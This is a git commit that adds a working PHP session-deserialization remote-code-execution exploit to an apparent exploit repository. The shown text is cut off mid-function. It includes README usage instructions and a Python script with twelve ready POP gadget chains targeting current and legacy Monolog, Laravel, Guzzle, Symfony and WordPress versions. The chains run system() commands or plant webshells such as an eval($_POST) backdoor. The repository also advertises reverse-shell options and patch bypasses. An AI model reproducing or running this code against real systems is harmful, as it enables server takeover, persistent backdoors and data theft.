Session deserialization RCE via serialize_handler mismatch (no LFI)

Exploits the interaction between php_serialize and php session handlers:
when one endpoint writes sessions with php_serialize (Laravel, Symfony
default) and another reads with the php handler (PHP default), injected
pipe characters cause arbitrary deserialization at session_start().

12 built-in POP chains covering current and legacy library versions:
- monolog3-fw: Monolog 3.0+ (tested 3.12.1, latest)
- laravel10-cmd/fw: illuminate 10.0-13.x+ (tested v13.38.0, latest)
- monolog-cmd/fw: Monolog 1.17.2-2.x
- laravel-cmd/fw: illuminate 5.4-8.x
- guzzle-fw: Guzzle 4.0-7.x
- symfony-cmd/fw: Symfony 2.6-4.4.18
- wordpress-cmd/fw: WordPress 6.4.0-6.4.1

All chains tested end-to-end through the full HTTP exploit flow on
PHP 8.3. Accepts custom phpggc chains via --chain-file.
This commit is contained in:
neko
2026-10-21 20:47:37 +00:00
parent e58bb493af
commit 7fecd435cc
8 changed files with 1336 additions and 0 deletions
+30
View File
@@ -25,6 +25,7 @@ against `cleanup=1`, the poisoned session file is includable via LFI for RCE.
|--------|--------|-------------|
| `cve-2026-109618/exploit.py` | Unpatched PHP | OOM → session persistence → LFI → RCE |
| `cve-2026-109619/exploit.py` | Unpatched PHP | Session poisoning (direct + race) → LFI → RCE |
| `session-deser/exploit.py` | Any PHP | Handler mismatch → deserialization → RCE **(no LFI)** |
| `wordpress-exploit/exploit_wp.py` | WordPress | Auto-detecting wrapper for both CVEs |
| `bypass/race_bypass_patched.py` | Patched PHP | TOCTOU race — session data on disk during upload |
| `bypass/rlimit_bypass_patched.py` | Patched PHP | mmap() failure via RLIMIT_AS bypasses the patch |
@@ -70,6 +71,35 @@ python3 bypass/procfd_bypass_hardened.py -t http://target/app.php --cmd 'id' --p
All exploits support `--cmd`, `--lhost`/`--lport` (reverse shell), and `--trigger-only`.
Use `--session-path` and `--lfi-param` to override auto-detection.
## Session Deserialization (No LFI)
`session-deser/exploit.py` exploits `session.serialize_handler` mismatches
for RCE without any LFI vulnerability. When one endpoint uses `php_serialize`
(Laravel, Symfony default) and another uses the `php` handler (PHP default),
the pipe character in session data triggers arbitrary deserialization.
Requires a deployment where two endpoints share session storage but use
different handlers. This occurs when a framework application coexists with
non-framework PHP on the same server (phpMyAdmin, admin scripts, legacy code).
Built-in POP chains for current library versions:
| Chain | Library | Tested version |
|---|---|---|
| `monolog3-fw` | monolog/monolog 3.0+ | 3.12.1 (latest) |
| `laravel10-cmd/fw` | illuminate 10.0-13.x+ | v13.38.0 (latest) |
Plus legacy chains for Monolog 2.x, Laravel 5.4-8.x, Guzzle 4.0-7.x,
Symfony 2.6-4.4.18, and WordPress 6.4.0-6.4.1. Accepts custom phpggc chains
via `--chain-file`. See `session-deser/README.md` for details.
```bash
python3 session-deser/exploit.py \
--inject-url http://target/laravel-endpoint.php \
--trigger-url http://target/legacy-script.php \
--chain laravel10-cmd --cmd 'id'
```
## Patch Bypass Findings
The PHP 8.4.27 patch has three confirmed bypass paths to RCE:
+3
View File
@@ -0,0 +1,3 @@
vendor/
__pycache__/
composer.lock
+237
View File
@@ -0,0 +1,237 @@
# Session Deserialization RCE via Handler Mismatch
Remote code execution through PHP's `session.serialize_handler` mismatch.
No LFI required. No FPM dependency. Works on any SAPI.
## How It Works
PHP supports multiple session serialization formats. The two relevant ones:
- `php` (the default): stores session data as `key|serialized_value`
- `php_serialize`: stores session data as a single `serialize()`d array
When one endpoint writes session data using `php_serialize` and another
reads it using the `php` handler, the pipe character `|` inside a
serialized string is misinterpreted as a key/value delimiter. This causes
PHP to call `unserialize()` on attacker-controlled data when
`session_start()` runs on the second endpoint.
### Attack flow
```
1. Attacker POSTs to endpoint A (php_serialize handler):
data = |O:28:"Monolog\Handler\GroupHandler":1:{...}
2. PHP stores this in the session file as:
a:1:{s:4:"data";s:550:"|O:28:"Monolog\Handler\GroupHandler":1:{...}";}
3. Attacker GETs endpoint B (php handler) with the same session ID.
session_start() reads the file and splits on |:
key = a:1:{s:4:"data";s:550:"
value = O:28:"Monolog\Handler\GroupHandler":1:{...}
PHP calls unserialize() on the value.
4. The deserialized object's __destruct method fires,
triggering the POP gadget chain for RCE.
```
### What makes a target vulnerable
The exploit requires ALL of the following:
1. **Two endpoints with different session serialize handlers.** One must use
`php_serialize`, the other must use the default `php`. PHP's own default
is `php` for both, so this mismatch only occurs when a framework or
application explicitly changes the handler for some endpoints.
2. **Shared session storage.** Both endpoints must read/write the same
session files (same `session.save_path`). This is the default when
both run under the same PHP installation.
3. **A POP gadget chain in autoloaded classes.** The deserialized objects
must exist in classes that PHP has loaded (via autoloader or require).
The chain must reach a dangerous sink (system(), file_put_contents(), etc.)
through magic methods (__destruct, __wakeup, __toString, etc.).
### Where this mismatch occurs in practice
- **Laravel** sets `session.serialize_handler = php_serialize` in its
session bootstrap. Any non-Laravel PHP on the same vhost (phpMyAdmin,
admin scripts, health checks, legacy code) uses the PHP default `php`.
- **Symfony** configures `php_serialize` via `NativeSessionStorage`. Adjacent
applications on the same server may not.
- **Shared hosting** where multiple PHP applications share the same session
save path but use different frameworks.
- **Mixed codebases** where old and new code coexist on the same domain,
with the new code using a framework and the old code using raw PHP sessions.
A single-application deployment where every endpoint uses the same handler
is NOT vulnerable to this attack.
## Injection Modes
### inject (primary)
The target has an endpoint that stores POST data into `$_SESSION` using
the `php_serialize` handler. The attacker sends `|<serialized_chain>` as
a POST value. A second request to a `php`-handler endpoint triggers
deserialization.
```bash
python3 exploit.py --inject-url http://target/save.php \
--inject-param data \
--trigger-url http://target/view.php \
--chain laravel10-cmd --cmd 'id'
```
### progress (no app session storage needed)
Uses `session.upload_progress` to inject the `|` character via the upload
filename field. No application-level session writing needed. Combined with
the OOM crash from CVE-2026-109618 to persist past cleanup.
Limitation: multipart filenames cannot contain NULL bytes, so the POP chain
can only use public properties (no protected/private property serialization).
```bash
python3 exploit.py --mode progress \
--write-url http://target/any.php \
--trigger-url http://target/default.php \
--chain wordpress-cmd --cmd 'id'
```
## Built-in POP Chains
Each chain is tested end-to-end through the full HTTP exploit flow
on PHP 8.3 against the listed library version.
### Current versions (work on latest releases)
| Chain | Library | Tested on | Type | Description |
|---|---|---|---|---|
| `monolog3-fw` | monolog/monolog 3.0+ | 3.12.1 | File write | GroupHandler > DeduplicationHandler > file_put_contents |
| `laravel10-cmd` | illuminate 10.0-13.x+ | v13.38.0 | Command | PendingBroadcast > CommonMark Environment > ChainedBatchTruthTest > system() |
| `laravel10-fw` | illuminate 10.0-13.x+ | v13.38.0 | File write | Same chain, writes via system("printf ... > path") |
### Legacy versions
| Chain | Library | Tested on | Type | Description |
|---|---|---|---|---|
| `monolog-cmd` | monolog/monolog 1.17.2-2.x | 2.10.0 | Command | SyslogUdpHandler > BufferHandler (self-ref) > system() |
| `monolog-fw` | monolog/monolog 1.17.2-2.x | 2.10.0 | File write | Same chain, writes via system("printf ...") |
| `laravel-cmd` | illuminate 5.4-8.x | 8.83.27 | Command | PendingBroadcast > Dispatcher > system() |
| `laravel-fw` | illuminate 5.4-8.x | 8.83.27 | File write | Same chain, writes via system("printf ...") |
| `guzzle-fw` | guzzlehttp/guzzle 4.0-7.x | 7.16.0 | File write | FileCookieJar > save() > file_put_contents (JSON wrapped) |
| `symfony-cmd` | symfony 2.6-4.4.18 | 4.4.18 | Command | WindowsPipes > SortableIterator > ArrayObject > call_user_func("system") |
| `symfony-fw` | symfony 2.6-4.4.18 | 4.4.18 | File write | Same chain, writes via system("printf ...") |
| `wordpress-cmd` | WordPress 6.4.0-6.4.1 | 6.4.1 | Command | WP_HTML_Token.__destruct > call_user_func (public props, NULL-free) |
| `wordpress-fw` | WordPress 6.4.0-6.4.1 | 6.4.1 | File write | Same chain, writes via system("printf ...") |
### Why some chains have version ceilings
- **Monolog 3.0+** introduced typed properties (`Monolog\Level` enum). The 2.x
RCE1 chain sets `$level = null`, which throws `TypeError` on typed properties.
The 3.x chain uses `GroupHandler` + `DeduplicationHandler` instead.
- **Laravel 9.0+** changed `Dispatcher::dispatch()` to wrap string listeners
in `createClassListener()`, which calls `$this->container->make()` on a null
container. The RCE22 chain routes through `league/commonmark` `Environment`
instead.
- **Guzzle 8.0+** added `__unserialize()` on `FileCookieJar` that throws
`LogicException` on deserialization.
- **Symfony 4.4.19+** added `__wakeup()` on `WindowsPipes` that throws
`BadMethodCallException`.
- **WordPress 6.4.2+** added `__wakeup()` on `WP_HTML_Token` that throws
`LogicException`. All other WP core gadget classes (`FilteredIterator`,
`Requests\Hooks`) are also patched. No known POP chain exists in WordPress
7.x core.
### Custom chains
Any phpggc chain works via `--chain-file`. Supports raw PHP serialized output
and base64 (auto-detected).
```bash
phpggc Monolog/RCE1 system id > chain.bin
python3 exploit.py --inject-url http://target/save.php \
--inject-param data \
--trigger-url http://target/view.php \
--chain-file chain.bin
# Or base64:
phpggc Laravel/RCE22 system id -b > chain.b64
python3 exploit.py ... --chain-file chain.b64
```
## Usage
```bash
# File write webshell (Monolog 3.x, current):
python3 exploit.py --inject-url http://target/save.php \
--inject-param data \
--trigger-url http://target/view.php \
--chain monolog3-fw \
--write-path /var/www/html/shell.php
# Direct command execution (Laravel 10+, current):
python3 exploit.py --inject-url http://target/save.php \
--inject-param data \
--trigger-url http://target/view.php \
--chain laravel10-cmd --cmd 'id'
# Custom shell code:
python3 exploit.py ... --chain monolog3-fw \
--write-path /var/www/html/s.php \
--shell-code '<?php eval($_POST["x"]); ?>'
# Progress mode (no POST-to-session endpoint needed):
python3 exploit.py --mode progress \
--write-url http://target/any_endpoint.php \
--trigger-url http://target/default_handler.php \
--chain wordpress-cmd --cmd 'id'
```
## Options
```
--mode {inject,progress} Injection mode (default: inject)
--inject-url URL Endpoint that stores POST data in $_SESSION (php_serialize)
--inject-param PARAM POST parameter stored in $_SESSION (default: data)
--write-url URL Any endpoint for progress mode injection
--trigger-url URL Endpoint using default php handler (triggers deserialization)
--chain CHAIN Built-in POP chain name
--chain-file FILE Custom serialized chain (phpggc output, raw or base64)
--write-path PATH File path for fw chains (webshell destination)
--shell-code CODE Custom PHP code for fw chains
--cmd CMD Command for cmd chains
--fields N OOM pressure fields for progress mode (default: 30000)
--field-size N Bytes per OOM field (default: 512)
```
## Test Environment
The test endpoints used for verification:
`test_serialize.php` (inject endpoint, uses php_serialize):
```php
<?php
ini_set('session.serialize_handler', 'php_serialize');
session_start();
foreach ($_POST as $k => $v) $_SESSION[$k] = $v;
```
`test_trigger.php` (trigger endpoint, uses default php handler):
```php
<?php
require 'vendor/autoload.php'; // loads framework classes
session_start(); // deserializes session data
```
The mismatch between `php_serialize` on the first and `php` (default) on the
second is what enables the attack.
+6
View File
@@ -0,0 +1,6 @@
{
"require": {
"monolog/monolog": "1.27.1",
"fakerphp/faker": "^1.24"
}
}
+995
View File
@@ -0,0 +1,995 @@
#!/usr/bin/env python3
"""
PHP Session Deserialization RCE via Handler Mismatch
No LFI. No FPM. Works on any SAPI (mod_php, FPM, litespeed, etc.).
Exploits the combination of:
1. session.upload_progress writes attacker data to session files
2. A session.serialize_handler mismatch between two endpoints
3. A POP gadget chain in the application's autoloaded classes
When one endpoint uses php_serialize and another uses the default php
handler, the pipe character '|' injected into session data is
misinterpreted as a key/value delimiter, causing arbitrary
deserialization of attacker-controlled objects.
Two injection modes:
inject (primary, full POP chain support)
Target has an endpoint that stores POST data in $_SESSION via
php_serialize handler. Attacker sends |<serialized_chain> as
a POST value. A second request to a php-handler endpoint
triggers deserialization when session_start() reads the file.
progress (no app involvement, limited chains)
Uses session.upload_progress to inject '|' via the upload
filename. No application session storage needed, but the
multipart parser truncates NULL bytes in filenames, so the
POP chain can only use public properties. Combined with
OOM crash (CVE-2026-109618) to persist past cleanup.
Handler mismatch is common in the wild:
- Laravel sets php_serialize in its bootstrap; any non-Laravel
PHP on the same vhost (phpMyAdmin, admin scripts, legacy code)
uses the default php handler
- Symfony configures php_serialize; adjacent apps may not
- Mixed old/new codebases on shared hosting
Requirements:
- session.upload_progress.enabled = 1 (default, for progress mode)
- Two endpoints with different session.serialize_handler settings
- A POP gadget chain in autoloaded classes
- session.save_handler = files (default)
Built-in chains (--chain):
monolog3-fw Monolog 3.0+ FW (CURRENT) --write-path /path/shell.php
monolog-cmd Monolog 1.17.2-2.x RCE --cmd 'id'
monolog-fw Monolog 1.17.2-2.x FW --write-path /path/shell.php
laravel10-cmd Laravel 10.0-13.x+ (CURRENT) --cmd 'id'
laravel10-fw Laravel 10.0-13.x+ (CURRENT) --write-path /path/shell.php
laravel-cmd Laravel/Illuminate 5.4-8.x --cmd 'id'
laravel-fw Laravel/Illuminate 5.4-8.x --write-path /path/shell.php
guzzle-fw Guzzle 4.0-7.x FW --write-path /path/shell.php
symfony-cmd Symfony 2.6-4.4.18 RCE --cmd 'id'
symfony-fw Symfony 2.6-4.4.18 FW --write-path /path/shell.php
wordpress-cmd WordPress 6.4.0-6.4.1 RCE --cmd 'id' (NULL-free)
wordpress-fw WordPress 6.4.0-6.4.1 FW --write-path /path/shell.php
Custom chains (--chain-file):
phpggc Laravel/RCE1 system id > chain.bin
python3 exploit.py ... --chain-file chain.bin
Tested: PHP 8.0-8.4, Linux, mod_php and PHP-FPM.
Usage:
# Inject mode (most practical):
python3 exploit.py --inject-url http://target/save.php \\
--inject-param data \\
--trigger-url http://target/view.php \\
--chain monolog-fw \\
--write-path /var/www/html/s.php
# Inject mode with direct command execution:
python3 exploit.py --inject-url http://target/save.php \\
--inject-param data \\
--trigger-url http://target/view.php \\
--chain monolog-cmd --cmd 'id'
# Custom phpggc chain (raw or base64):
phpggc Monolog/RCE1 system id > chain.bin
python3 exploit.py --inject-url http://target/save.php \\
--inject-param data \\
--trigger-url http://target/view.php \\
--chain-file chain.bin
# Progress mode (no app session injection needed):
python3 exploit.py --mode progress \\
--write-url http://target/serialize.php \\
--trigger-url http://target/default.php \\
--chain-file chain_pub.bin
"""
import argparse
import base64
import os
import re
import socket
import sys
import time
import urllib.parse
from urllib.parse import urlparse
# ═══════════════════════════════════════════════════════════════════════
# PHP serialization
# ═══════════════════════════════════════════════════════════════════════
def php_str(s):
if isinstance(s, str):
s = s.encode()
return b"s:" + str(len(s)).encode() + b':"' + s + b'";'
def php_int(n):
return b"i:" + str(n).encode() + b";"
def php_bool(v):
return b"b:" + (b"1" if v else b"0") + b";"
def php_null():
return b"N;"
def php_arr(entries):
body = b"".join(k + v for k, v in entries)
return b"a:" + str(len(entries)).encode() + b":{" + body + b"}"
def php_obj(cls, props):
body = b"".join(k + v for k, v in props)
cn = cls.encode() if isinstance(cls, str) else cls
return (b"O:" + str(len(cn)).encode() + b':"' + cn + b'":'
+ str(len(props)).encode() + b":{" + body + b"}")
def php_enum(cls, case):
label = f"{cls}:{case}"
return b"E:" + str(len(label)).encode() + b':"' + label.encode() + b'";'
def php_datetime_immutable():
from datetime import datetime, timezone
now = datetime.now(timezone.utc).strftime("%Y-%m-%d %H:%M:%S.000000")
return php_obj("DateTimeImmutable", [
(php_str("date"), php_str(now)),
(php_str("timezone_type"), php_int(3)),
(php_str("timezone"), php_str("UTC")),
])
def prot(name):
n = name.encode() if isinstance(name, str) else name
return php_str(b"\x00*\x00" + n)
def priv(cls, name):
c = cls.encode() if isinstance(cls, str) else cls
n = name.encode() if isinstance(name, str) else name
return php_str(b"\x00" + c + b"\x00" + n)
# ═══════════════════════════════════════════════════════════════════════
# POP gadget chains
# ═══════════════════════════════════════════════════════════════════════
def _rce1_chain(func, param):
"""Monolog/RCE1 gadget (1.4.1-1.6.0, 1.17.2-2.7.0+).
SyslogUdpHandler.__destruct (inherited AbstractHandler.__destruct)
-> close()
-> $this->socket->close() socket = BufferHandler
BufferHandler::close -> flush
-> $this->handler->handleBatch($this->buffer) handler = $this (self-ref)
AbstractHandler::handleBatch -> foreach handle($record)
BufferHandler::handle -> call_user_func($processor, $record) for each processor
processors[0] = 'current' -> current([$param, 'level'=>null]) = $param
processors[1] = $func -> $func($param)
"""
# r:2 is a PHP serialization back-reference to object #2, the BufferHandler
# itself. This creates the self-referencing handler=$this that phpggc uses.
# We build it by hand: emit SyslogUdpHandler wrapping BufferHandler,
# with handler pointing back to the BufferHandler via reference.
record = php_arr([
(php_int(0), php_str(param)),
(php_str("level"), php_null()),
])
buf = php_obj("Monolog\\Handler\\BufferHandler", [
(prot("handler"), b"r:2;"), # back-ref to self (object index 2)
(prot("bufferSize"), php_int(-1)),
(prot("buffer"), php_arr([(php_int(0), record)])),
(prot("level"), php_null()),
(prot("initialized"), php_bool(True)),
(prot("bufferLimit"), php_int(-1)),
(prot("processors"), php_arr([
(php_int(0), php_str("current")),
(php_int(1), php_str(func)),
])),
])
return php_obj("Monolog\\Handler\\SyslogUdpHandler", [
(prot("socket"), buf),
])
def chain_monolog_fw(write_path, shell_code):
"""Monolog file write via system() (1.4.1-1.6.0, 1.17.2-2.x).
Uses the Monolog/RCE1 gadget to call system() with a printf command
that writes shell_code to write_path.
Requires monolog/monolog (production dep in Laravel, Symfony, etc.).
"""
escaped_code = shell_code.replace("'", "'\\''")
escaped_path = write_path.replace("'", "'\\''")
cmd = f"printf '%s' '{escaped_code}' > '{escaped_path}'"
return _rce1_chain("system", cmd)
def chain_monolog_cmd(cmd):
"""Monolog RCE via system() (1.4.1-1.6.0, 1.17.2-2.x).
Uses the Monolog/RCE1 gadget to call system($cmd).
Requires monolog/monolog (production dep in Laravel, Symfony, etc.).
"""
return _rce1_chain("system", cmd)
def chain_monolog3_fw(write_path, shell_code):
"""Monolog file write via DeduplicationHandler (3.0.0+, current).
GroupHandler.__destruct (inherited from Handler)
-> close()
-> foreach $this->handlers: $handler->close()
DeduplicationHandler::close -> flush()
-> file_put_contents($this->deduplicationStore, $line, FILE_APPEND)
Written format: "timestamp:DEBUG:message\\n"
PHP ignores content before <?php, so the prefix is harmless.
Monolog 3.x uses typed properties (PHP 8.1+ enums for Level),
so the Monolog 2.x RCE1 chain fails. This chain uses GroupHandler
as entry (array-typed handlers property) and DeduplicationHandler
as sink (file_put_contents with controlled path and message).
Requires monolog/monolog 3.0+ (production dep in Laravel 10+,
Symfony 6+, and many other frameworks).
"""
shell_code_clean = shell_code.replace("\r", " ").replace("\n", " ")
log_record = php_obj("Monolog\\LogRecord", [
(php_str("level"), php_enum("Monolog\\Level", "Debug")),
(php_str("message"), php_str(shell_code_clean)),
(php_str("datetime"), php_datetime_immutable()),
])
dedup = php_obj("Monolog\\Handler\\DeduplicationHandler", [
(prot("deduplicationStore"), php_str(write_path)),
(prot("bufferSize"), php_int(1)),
(prot("buffer"), php_arr([(php_int(0), log_record)])),
(prot("deduplicationLevel"), php_enum("Monolog\\Level", "Debug")),
])
return php_obj("Monolog\\Handler\\GroupHandler", [
(prot("handlers"), php_arr([(php_int(0), dedup)])),
])
def chain_laravel_cmd(cmd):
"""Laravel RCE via PendingBroadcast (5.4.0-8.6.9+).
PendingBroadcast.__destruct
-> $this->events->dispatch($this->event)
Dispatcher::dispatch($event)
-> foreach $this->listeners[$event] as $listener: $listener($event)
-> system($cmd)
$this->event = $cmd (the command string)
$this->listeners[$cmd] = ['system']
Requires illuminate/events + illuminate/broadcasting
(always present in Laravel).
"""
dispatcher = php_obj("Illuminate\\Events\\Dispatcher", [
(prot("listeners"), php_arr([
(php_str(cmd), php_arr([
(php_int(0), php_str("system")),
])),
])),
])
return php_obj("Illuminate\\Broadcasting\\PendingBroadcast", [
(prot("events"), dispatcher),
(prot("event"), php_str(cmd)),
])
def chain_laravel_fw(write_path, shell_code):
"""Laravel file write via system() (5.4.0-8.6.9+).
Same PendingBroadcast gadget, calls system() with a write command.
"""
escaped_code = shell_code.replace("'", "'\\''")
escaped_path = write_path.replace("'", "'\\''")
cmd = f"printf '%s' '{escaped_code}' > '{escaped_path}'"
return chain_laravel_cmd(cmd)
def chain_laravel10_cmd(cmd):
"""Laravel RCE via PendingBroadcast + CommonMark (10.0-13.x+, current).
PendingBroadcast.__destruct
-> $this->events->dispatch($this->event)
Environment::dispatch($event)
-> foreach listenerData as prioritized listeners
-> ListenerData->listener is ChainedBatchTruthTest
ChainedBatchTruthTest::__invoke($event)
-> call_user_func($this->callback, $event)
-> system($cmd)
Channel.__toString returns $this->name, so $event becomes the
command string when passed to system().
Requires illuminate/broadcasting + league/commonmark (both present
in all Laravel 10+ installations).
"""
env_cls = "League\\CommonMark\\Environment\\Environment"
list_cls = "League\\CommonMark\\Util\\PrioritizedList"
ld_cls = "League\\CommonMark\\Event\\ListenerData"
truth_test = php_obj(
"Illuminate\\Support\\Testing\\Fakes\\ChainedBatchTruthTest", [
(prot("callback"), php_str("system")),
])
listener_data = php_obj(ld_cls, [
(priv(ld_cls, "event"),
php_str("\\Illuminate\\Broadcasting\\Channel")),
(priv(ld_cls, "listener"), truth_test),
])
plist = php_obj(list_cls, [
(priv(list_cls, "list"), php_arr([
(php_int(0), php_arr([(php_int(0), listener_data)])),
])),
])
environment = php_obj(env_cls, [
(priv(env_cls, "extensionsInitialized"), php_bool(True)),
(priv(env_cls, "listenerData"), plist),
])
channel = php_obj("Illuminate\\Broadcasting\\Channel", [
(php_str("name"), php_str(cmd)),
])
return php_obj("Illuminate\\Broadcasting\\PendingBroadcast", [
(prot("events"), environment),
(prot("event"), channel),
])
def chain_laravel10_fw(write_path, shell_code):
"""Laravel file write via system() (10.0-13.x+, current).
Same PendingBroadcast + CommonMark gadget, calls system() with a
write command.
"""
escaped_code = shell_code.replace("'", "'\\''")
escaped_path = write_path.replace("'", "'\\''")
cmd = f"printf '%s' '{escaped_code}' > '{escaped_path}'"
return chain_laravel10_cmd(cmd)
def chain_guzzle_fw(write_path, data):
"""Guzzle file write via FileCookieJar (4.0.0-7.x, patched in 8.0).
FileCookieJar.__destruct -> save()
-> file_put_contents($this->filename, json_encode(...))
Writes JSON-encoded cookie data. The 'Value' field holds the payload.
The written file contains JSON wrapping around the payload.
PHP ignores everything before <?php, so a webshell embedded in the
Value field works when accessed via HTTP. Use single quotes in the
shell code to avoid JSON backslash escaping (double quotes become
\" in JSON output, which breaks PHP parsing).
Guzzle 8.0+ added __unserialize() that throws on deserialization.
Requires guzzlehttp/guzzle (extremely common HTTP client).
"""
cookie = php_obj("GuzzleHttp\\Cookie\\SetCookie", [
(priv("GuzzleHttp\\Cookie\\SetCookie", "data"), php_arr([
(php_str("Expires"), php_int(1)),
(php_str("Discard"), php_bool(False)),
(php_str("Value"), php_str(data)),
])),
])
jar = php_obj("GuzzleHttp\\Cookie\\FileCookieJar", [
(priv("GuzzleHttp\\Cookie\\CookieJar", "cookies"), php_arr([
(php_int(0), cookie),
])),
(priv("GuzzleHttp\\Cookie\\CookieJar", "strictMode"), php_bool(False)),
(priv("GuzzleHttp\\Cookie\\FileCookieJar", "filename"), php_str(write_path)),
(priv("GuzzleHttp\\Cookie\\FileCookieJar", "storeSessionCookies"), php_bool(True)),
])
return jar
def chain_symfony_cmd(cmd):
"""Symfony RCE via WindowsPipes (2.6.0-4.4.18).
WindowsPipes.__destruct -> close -> foreach $this->fileHandles: fclose($h)
$fileHandles is a SortableIterator wrapping an ArrayObject:
SortableIterator implements IteratorAggregate
getIterator() calls usort($array, $this->sort) where sort='call_user_func'
usort compares elements via call_user_func($a, $b)
ArrayObject contains [$function, $parameter]
-> call_user_func('system', $cmd)
Requires symfony/finder + symfony/process (present in all Symfony apps).
"""
arr = php_obj("ArrayObject", [
(php_int(0), php_str(cmd)),
(php_int(1), php_str("system")),
])
# ArrayObject serializes differently: uses C: format
# We need to use the C: custom serialization format for ArrayObject
# Use O: format (works for ArrayObject deserialization):
# i:0 = flags(0), i:1 = storage array, i:2 = members(empty), i:3 = null
# Storage: [0 => $func, 1 => $param] so uasort compares call_user_func($func, $param)
arr = (b'O:11:"ArrayObject":4:{i:0;i:0;i:1;a:2:{i:0;s:6:"system";i:1;'
+ php_str(cmd) + b"}i:2;a:0:{}i:3;N;}")
sortable = php_obj("Symfony\\Component\\Finder\\Iterator\\SortableIterator", [
(priv("Symfony\\Component\\Finder\\Iterator\\SortableIterator", "iterator"), arr),
(priv("Symfony\\Component\\Finder\\Iterator\\SortableIterator", "sort"), php_str("call_user_func")),
])
return php_obj("Symfony\\Component\\Process\\Pipes\\WindowsPipes", [
(priv("Symfony\\Component\\Process\\Pipes\\WindowsPipes", "fileHandles"), sortable),
])
def chain_symfony_fw(write_path, shell_code):
"""Symfony file write via system() (2.6.0-4.4.18).
Same WindowsPipes gadget, calls system() with a write command.
"""
escaped_code = shell_code.replace("'", "'\\''")
escaped_path = write_path.replace("'", "'\\''")
cmd = f"printf '%s' '{escaped_code}' > '{escaped_path}'"
return chain_symfony_cmd(cmd)
def chain_wordpress_cmd(cmd):
"""WordPress RCE via WP_HTML_Token (6.4.0-6.4.1).
WP_HTML_Token.__destruct
-> ($this->on_destroy)($this->bookmark_name)
-> system($cmd)
Uses only PUBLIC properties, so this chain works in progress mode
(no NULL bytes from protected/private property names).
Requires WordPress 6.4.0 or 6.4.1 (patched in 6.4.2).
"""
return php_obj("WP_HTML_Token", [
(php_str("bookmark_name"), php_str(cmd)),
(php_str("on_destroy"), php_str("system")),
])
def chain_wordpress_fw(write_path, shell_code):
"""WordPress file write via WP_HTML_Token (6.4.0-6.4.1).
Same gadget, calls system() with a write command.
Public properties only: works in progress mode.
"""
escaped_code = shell_code.replace("'", "'\\''")
escaped_path = write_path.replace("'", "'\\''")
cmd = f"printf '%s' '{escaped_code}' > '{escaped_path}'"
return chain_wordpress_cmd(cmd)
CHAINS = {
"monolog3-fw": {"type": "fw", "fn": chain_monolog3_fw, "lib": "monolog/monolog 3.0+"},
"monolog-cmd": {"type": "cmd", "fn": chain_monolog_cmd, "lib": "monolog/monolog 1.17.2-2.x"},
"monolog-fw": {"type": "fw", "fn": chain_monolog_fw, "lib": "monolog/monolog 1.17.2-2.x"},
"laravel10-cmd": {"type": "cmd", "fn": chain_laravel10_cmd, "lib": "illuminate 10.0-13.x+"},
"laravel10-fw": {"type": "fw", "fn": chain_laravel10_fw, "lib": "illuminate 10.0-13.x+"},
"laravel-cmd": {"type": "cmd", "fn": chain_laravel_cmd, "lib": "illuminate 5.4-8.x"},
"laravel-fw": {"type": "fw", "fn": chain_laravel_fw, "lib": "illuminate 5.4-8.x"},
"guzzle-fw": {"type": "fw", "fn": chain_guzzle_fw, "lib": "guzzlehttp/guzzle 4.0-7.x"},
"symfony-cmd": {"type": "cmd", "fn": chain_symfony_cmd, "lib": "symfony 2.6-4.4.18"},
"symfony-fw": {"type": "fw", "fn": chain_symfony_fw, "lib": "symfony 2.6-4.4.18"},
"wordpress-cmd": {"type": "cmd", "fn": chain_wordpress_cmd, "lib": "WordPress 6.4.0-6.4.1"},
"wordpress-fw": {"type": "fw", "fn": chain_wordpress_fw, "lib": "WordPress 6.4.0-6.4.1"},
}
# ═══════════════════════════════════════════════════════════════════════
# HTTP helpers (raw sockets for binary payloads)
# ═══════════════════════════════════════════════════════════════════════
def tcp_connect(host, port, tls, timeout=30):
sock = socket.create_connection((host, port), timeout=timeout)
if tls:
import ssl
ctx = ssl.create_default_context()
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
sock = ctx.wrap_socket(sock, server_hostname=host)
return sock
def recv_all(sock, timeout=10):
resp = b""
sock.settimeout(timeout)
try:
while True:
d = sock.recv(8192)
if not d:
break
resp += d
except socket.timeout:
pass
return resp
def status_code(resp):
try:
return int(resp.split(b" ")[1])
except (IndexError, ValueError):
return 0
def body_of(resp):
if b"\r\n\r\n" not in resp:
return resp
hdr, raw = resp.split(b"\r\n\r\n", 1)
if b"transfer-encoding: chunked" in hdr.lower():
out, data = b"", raw
while data:
nl = data.find(b"\r\n")
if nl < 0:
break
try:
clen = int(data[:nl].split(b";")[0].strip(), 16)
except ValueError:
break
if clen == 0:
break
out += data[nl+2:nl+2+clen]
data = data[nl+2+clen+2:]
return out
return raw
def extract_cookies(resp):
cookies = {}
for line in resp.split(b"\r\n"):
if line.lower().startswith(b"set-cookie:"):
cookie_str = line.split(b":", 1)[1].strip()
kv = cookie_str.split(b";")[0]
if b"=" in kv:
k, v = kv.split(b"=", 1)
cookies[k.strip().decode()] = v.strip().decode()
return cookies
def http_get(host, port, tls, path, cookies=None, timeout=10):
sock = tcp_connect(host, port, tls, timeout)
req = (
b"GET " + path.encode() + b" HTTP/1.1\r\n"
b"Host: " + host.encode() + b"\r\n"
)
if cookies:
req += b"Cookie: " + cookies.encode() + b"\r\n"
req += b"Connection: close\r\n\r\n"
sock.sendall(req)
resp = recv_all(sock, timeout)
sock.close()
return resp
def http_post_form(host, port, tls, path, body_bytes, cookies=None, timeout=10):
sock = tcp_connect(host, port, tls, timeout)
req = (
b"POST " + path.encode() + b" HTTP/1.1\r\n"
b"Host: " + host.encode() + b"\r\n"
b"Content-Type: application/x-www-form-urlencoded\r\n"
b"Content-Length: " + str(len(body_bytes)).encode() + b"\r\n"
)
if cookies:
req += b"Cookie: " + cookies.encode() + b"\r\n"
req += b"Connection: close\r\n\r\n"
sock.sendall(req + body_bytes)
resp = recv_all(sock, timeout)
sock.close()
return resp
# ═══════════════════════════════════════════════════════════════════════
# Progress mode: multipart with upload progress + OOM
# ═══════════════════════════════════════════════════════════════════════
def escape_filename(raw):
"""Escape bytes for Content-Disposition filename= quoted string.
NULL bytes are NOT supported (PHP truncates at \\x00)."""
out = b""
for byte in raw:
if byte == ord('"'):
out += b'\\"'
elif byte == ord('\\'):
out += b'\\\\'
elif byte == 0:
raise ValueError("NULL bytes cannot appear in multipart filenames")
else:
out += bytes([byte])
return out
def mp_field(bnd, name, value):
return (b"--" + bnd + b"\r\n"
b'Content-Disposition: form-data; name="' + name + b'"\r\n'
b"\r\n" + value + b"\r\n")
def mp_file_with_name(bnd, fieldname, filename_raw, content):
